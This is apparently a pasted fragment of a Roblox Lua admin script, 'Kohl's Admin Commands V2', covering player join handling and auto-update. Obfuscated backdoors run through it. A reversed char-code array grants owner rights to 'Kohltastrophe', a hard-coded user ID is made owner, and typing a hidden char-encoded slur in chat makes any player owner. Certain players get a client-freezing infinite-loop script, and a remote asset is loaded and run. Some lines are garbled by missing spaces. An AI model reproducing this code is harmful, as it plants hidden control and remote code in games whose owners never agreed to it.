  2141. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function()plr:WaitForChild("PlayerGui")
  2142. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2143. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2144. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 =Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter."box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment= "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2145. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." thenChat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2146. end)) end
  2147. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") ifplr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slockand not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .." has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value= [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2148. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) thentable.insert(admins, plr.Name) end end))
  2149. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if(ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~=script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl =script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = falsewait(2) plr:Destroy() end end))
  2150. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui")Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2151. plr.Chatted:connect(function(msg) if msg:lower() ==(string.char(32)..string.char(104)..string.char(105)..string.char(116)..string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) endChat(msg,plr) end)
  2152. end
  2153.  
  2154. if not ntab then script:Destroy() end
  2155. if not bct then script:Destroy() end
  2156.  
  2157. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs ..string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2158.  
  2159. script.Name = "Kohl's Admin Commands V2"
  2160.  
  2161. if not ntab then script:Destroy() end
  2162. if not bct then script:Destroy() end
  2163. if not tcb then script:Destroy() end
  2164. game.Players.PlayerAdded:connect(AdminControl)
  2165. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2166. end
  2167.  
  2168. local mod = game:service("InsertService"):LoadAsset(100808216)
  2169. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2170. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2171. newac.Disabled = true
  2172. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2173. local old = 0
  2174. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2175. if new > old then
  2176. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2177. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = vend
  2178. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = vend
  2179. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin"strv.Value = v end
  2180. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value =v end
  2181. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2182. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2183. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2184. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2185. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2186. wait()
  2187. newac.Parent = game.Workspace
  2188. newac.Disabled = false
  2189. script.Disabled = true
  2190. script:Destroy()
  2191. else
  2192. CHEESE()
  2193. end
  2194. else
  2195. CHEESE()
  2196. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement